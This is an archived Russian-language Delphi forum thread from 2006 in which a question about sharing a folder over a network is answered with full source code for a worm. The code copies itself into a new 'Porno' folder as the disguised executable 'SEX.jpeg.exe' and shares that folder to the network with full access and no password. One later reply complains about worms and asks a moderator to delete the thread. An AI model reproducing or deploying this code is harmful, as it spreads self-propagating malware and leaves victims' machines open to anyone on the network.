![]() |
| ||
|
|
Новости |
Поиск |
FAQ |
Статьи |
Книги |
Новости VCL
| | Форумы ЧАТ |
Орешник |
|
| |||
| |||
« предыдущая ветвь | форум | следующая ветвь »
Подскажите как открыть доступ к определеной папке? [D7]
Maxim13 © (2006-05-21 10:30:00)Мастера подскажите как можно с помощью делфи открыть доступ к определеной папке на моем компьютере что б другие пользователи сети имели доступ к этой папке?
Дмитрий Белькевич (2006-07-03 04:31:00) [1]Количество червей выросло на тысячу ;) Модер, прибей ветку! Гадасть уже достала....
Ildar (2006-07-01 11:57:00) [2]Они же в виндовс идут.
Maxim13 (2006-05-21 20:47:00) [3]А можеш мне на мыло кинуть эти две библиотеки? мое мыло maxim-13@mail.ru
Maxim13 (2006-05-21 20:36:00) [4]Спасибо за ответ!
Замок (2006-05-21 14:43:00) [5]Я в одно время писал сетевого червя , который создавал папку в документах и расшаривал её с правами админа.
Работает в WIN 9x и NT (используються две разные библиотеки , для определения оси) под администратором
На подобный вопрос в данном форуме мне отказались давать ответ , поэтому если будут вопросы оставляй на форуме мыло отвечу если смогу.
Вот код :
unit Unit1;
interface
uses
Windows, Messages, NetApi, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, jpeg, ExtCtrls;
type
TForm1 = class(TForm)
Image1: TImage;
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
bNT:Boolean;
fHandleNT, fHandle9x : THandle;
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
var
ver: TOSVersionInfo;
begin
if directoryexists ('C:\Documents and Settings\All Users\Документы\Porno') = true then
halt// выход если папка уже существует
else
createdir ('C:\Documents and Settings\All Users\Документы\Porno');
CopyFile(@(ParamStr(0))[1],@('C:\Documents and Settings\All Users\Документы\Porno' + '\SEX.jpeg.exe')[1],false); //копируем себя под
//именем SEX.jpeg.exe
ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); // определяем тип ОС
// и загружаем соответствующую бибилиотеку
GetVersionEx(Ver);
case Ver.dwPlatformId of
VER_PLATFORM_WIN32_NT : bNT := True;
VER_PLATFORM_WIN32_WINDOWS : bNT := False;
VER_PLATFORM_WIN32s : bNT := False
end;
if bNT then
fHandleNT := LoadLibrary('NETAPI32.DLL')
else
fHandle9x := LoadLibrary('SVRAPI.DLL');
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
var
Share9x : TShareInfo502;
ShareNT : TShareInfo2;
wcPath, wcName, wcPass, wcComment: PWideChar;
edSharePath, edNetName, edPass, edComment: AnsiString;
begin
edSharePath := 'C:\Documents and Settings\All Users\Документы\Porno';
edNetName := 'Porno';
edPass := '';
edComment := 'Porno';
if bNT then
begin //Далее идёт код для NT
@NetShareAddNT := GetProcAddress(fHandleNT,'NetShareAdd');
if @NetShareAddNT=nil then
Exit;
// Конвертирование строк в Unicode
GetMem(wcPath, WIDE_LENGTH);
StringToWideChar(edSharePath, wcPath, WIDE_LENGTH);
GetMem(wcName, WIDE_LENGTH);
StringToWideChar(edNetName, wcName, WIDE_LENGTH);
GetMem(wcPass, WIDE_LENGTH);
StringToWideChar(edPass, wcPass, WIDE_LENGTH);
GetMem(wcComment, WIDE_LENGTH);
StringToWideChar(edComment, wcComment, WIDE_LENGTH);
// Заполнение структуры
ShareNT.shi2_path := wcPath;
ShareNT.shi2_netname := wcName;
ShareNT.shi2_passwd := wcPass;
ShareNT.shi2_remark := wcComment;
ShareNT.shi2_type := STYPE_DISKTREE;
ShareNT.shi2_remark := '';
ShareNT.shi2_permissions := ACCESS_ALL;
ShareNT.shi2_max_uses := DWORD(-1);
ShareNT.shi2_current_uses := 0;
// Добавление открытого ресурса
NetShareAddNT(nil,2,@ShareNT, nil);
// Освобождение Unicode строк
FreeMem (wcName);
FreeMem (wcPath);
FreeMem (wcPass);
FreeMem (wcComment);
end
else
begin //Код для Windows 9x
@NetShareAdd := GetProcAddress(fHandle9x,'NetShareAdd');
if @NetShareAdd=nil then
exit;
// Заполнение структуры
FillChar(Share9x.shi502_netname, SizeOf(Share9x.shi502_netname), #0);
move(edNetName[1], Share9x.shi502_netname[0], Length(edNetName));
Share9x.shi502_type := STYPE_DISKTREE;
Share9x.shi502_flags := ACCESS_ALL;
FillChar(Share9x.shi502_remark, SizeOf(Share9x.shi502_remark), #0);
FillChar(Share9x.shi502_path, SizeOf(Share9x.shi502_path), #0);
Share9x.shi502_path := PAnsiChar(edSharePath);
FillChar(Share9x.shi502_rw_password, SizeOf(Share9x.shi502_rw_password), #0);
FillChar(Share9x.shi502_ro_password, SizeOf(Share9x.shi502_ro_password), #0);
NetShareAdd(nil,50,@Share9x,SizeOf(Share9x));
end;
end;
end.